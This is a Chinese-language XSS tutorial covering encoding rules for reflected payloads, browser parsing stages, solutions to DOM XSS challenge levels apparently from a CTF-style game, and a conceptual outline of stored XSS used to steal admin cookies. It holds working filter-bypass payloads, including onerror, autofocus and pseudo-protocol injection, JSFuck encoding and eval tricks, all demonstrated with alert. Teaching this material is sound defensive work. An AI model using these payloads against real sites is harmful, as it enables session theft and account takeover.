文章目录
xss
用户的输入没有进行很好的过滤,导致用户输入被输出到前端,前端解析执行了用户输入。
利用js语句,常用方法alert,confirm,prompt;js所有的元素都继承自window
1.反射型
XSS Payload的一些情况
<a href="javascript:alert(1)">aaaaaa</a>
a标签中的href中可以通过伪协议来执行js代码
01
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>
URL 编码 "javascript:alert(1)"
解析不了,不认识
02
<a href="javascript:%61%6c%65%72%74%28%32%29">
HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"
认识,可以执行
03
<a href="javascript%3aalert(3)"></a>
URL编码 ":"
不认识
04
<div><img src=x onerror=alert(4)></div>
HTML字符实体编码 < 和 >
不能进入标签开始状态
05
<textarea><script>alert(5)</script></textarea>
HTML字符实体编码 < 和 >
不能进入标签开始状态
06
<textarea><script>alert(6)</script></textarea
textarea标签和title标签是RCDATA元素,只认为其中的内容是普通文本和字符引用,但是字符引用无法进入标签开始状态,所以无法执行
07
<button onclick="confirm('7');">Button</button>
HTML字符实体编码 " ' " (单引号)
html实体编码,认识,可以执行
08
<button onclick="confirm('8\u0027);">Button</button>
Unicode编码 " ' " (单引号)
js严格区分大小写,不能Unicode编码符号
09
<script>alert(9);</script>
HTML字符实体编码 alert(9);
script标签和style标签是原始文本元素,只能容纳文本,其中的字符引用并不会被解析和解码
10
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
Unicode 编码 alert
Unicode编码支持,也没有Unicode编码符号,可以执行
11
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
Unicode 编码 alert(11)
js不容许Unicode编码了符号
12
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
Unicode 编码 alert 和 12
解码完以后的12没有单双引号的包裹,所以语法错误
13
<script>alert('13\u0027)</script>
Unicode 编码 " ' " (单引号)
js不能Unicode编码符号
14
<script>alert('14\u000a')</script>
Unicode 编码换行符(0x0A)
js支持换行解析,可以执行
15
<a href="javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)"></a>
html实体编码---->urlcode编码---->Unicode编码
符合规范,没有urlcode,Unicode编码符号,可以执行
小结
<script>
和<style>
数据只能有文本,不会有HTML解码和URL解码操作<textarea>
和<title>
里会有HTML解码操作,但不会有子元素- 其他元素数据(如
div
)和元素属性数据(如href
)中会有HTML解码操作 - 部分属性(如
href
)会有URL解码操作,但URL中的协议需为ASCII - JavaScript会对字符串和标识符Unicode解码
HTML文档处理过程
解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析。
0x01 HTML解析
主要过程为:标签开始状态——>标签名状态——>数据状态
在解析过程中,任何时候它只要遇到一个’<‘符号(后面没有跟’/'符号)就会进入“标签开始状态(Tag open state)
”。然后转变到“标签名状态(Tag name state)
”,“前属性名状态(before attribute name state)”…最后进入“数据状态(Data state)
”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。
在HTML中有五类元素:
- 空元素(Void elements),如,
,等等 - 原始文本元素(Raw text elements),有
五类元素的区别如下:
-
空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
-
原始文本元素,可以容纳文本。
-
RCDATA元素,可以容纳文本和字符引用。
-
外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
-
基本元素,可以容纳文本、字符引用、其他元素和注释
0x02 URL解析
首先,不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。该原则对协议后面的“:”(冒号)同样适用,即问题3也得到解答。
为什么问题2中的脚本被执行了呢?
当HTML解析器工作完成后,URL解析器开始解析href属性值里的链接。在这时,“javascript”协议已经被解码,它能够被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分。由于是“javascript”协议,JavaScript解析器开始工作并执行这段代码,这就是为什么问题2中的代码能够被执行。
0x03 JavaScript 解析
HTML解析过程中的“原始文本”元素。所有的“script”块都属于“原始文本”元素。**“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。**如果你去看“脚本数据状态”的状态转换规则,就会发现没有任何规则能转移到字符引用状态。这意味着问题9中的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中,它将不会被执行。
2.DOM型
Ma Spaghet!
通过url中的get方法获取somebody参数,然后放入到h2标签中,没有进行任何过滤,而且使用的是innerHTML方法。
直接在url中传入payloads:
?somebody=<img src=x onerror=alert(1337)>
所以,当插入纯文本时,不要使用 innerHTML
,而是使用 innerText
,textContent
,它们不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置。
Jefff
setTimeout方法中使用的是innerText方法插入,无法再像上一题一样操作,突破口在eval函数。
方法1
?jeff=bbb";alert(1337);"
方法2
使用js的连接符,在js中-两边都是表达式,则可以执行代码
?jeff="-alert(1337)-"
Ugandan Knuckles
过滤了<>符号,不能闭合逃逸出input标签,只能在input标签中添加新的属性,onclick需要用户交互,不行;使用onfocus和autofocus共同来实现自动聚焦实现焦点事件。
?wey=abc" onfocus=alert(1337) autofocus="
Ricardo Milos
form表单中,提交的位置action是通过get方法获取,用户可控,提交事件2秒以后自动触发;所以可以在action中写入伪协议,等到2秒后提交事件自动触发action中的伪协议。
?ricardo=javascript:alert(1337)
Ah That’s Hawt
?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">
Ligma
过滤字母和数字,直接考虑用编码的方式进行绕过。
先将alert(1337)进行jsfuck编码,然后将编码后的内容进行urlencode编码(防止将其中的+号解析成空格等)
?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D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%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29
Mafia
过滤alert
方法1
匿名函数,Function代表构造方法,后面还有一个括号代表立即执行
?mafia=Function(/ALERT(1337)/.source.toLowerCase())()
方法2
将alert转换成30进制,然后用toString方法转换回来。
注意:最少要30进制,因为0-9再加a-t是10+20即为30,所以最少要30进制,否则将涵盖不到t。
?mafia=eval(8680439..toString(30))(1337)
方法3
?mafia=eval(location.hash.slice(1))#alert(1337)
使用location.hash截取#及后面的字符串,由于#不需要,所以从下标为1处开始截取。
3.存储型
存储型XSS主要用来获取管理员的cookie,从而实现使用cookie直接访问后台管理页面。
存储型XSS攻击的流程可以分为三个阶段:注入、存储和触发。
注入阶段
攻击者通过网站提供的输入接口,如评论框、搜索框、表单等,将恶意代码注入到网站的数据中。这些输入接口通常是网站允许用户提交内容的地方。
存储阶段
当网站未能对用户输入进行适当的清理和转义时,恶意脚本便被存储在网站的数据库或文件系统中。这意味着恶意代码成为了某些操作时网页内容的一部分。
触发阶段
其他用户访问包含恶意代码的页面时,由于网站未能对输出数据进行编码或过滤,恶意代码在用户的浏览器中被执行,导致攻击发生。
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » 【安全】XSS
发表评论 取消回复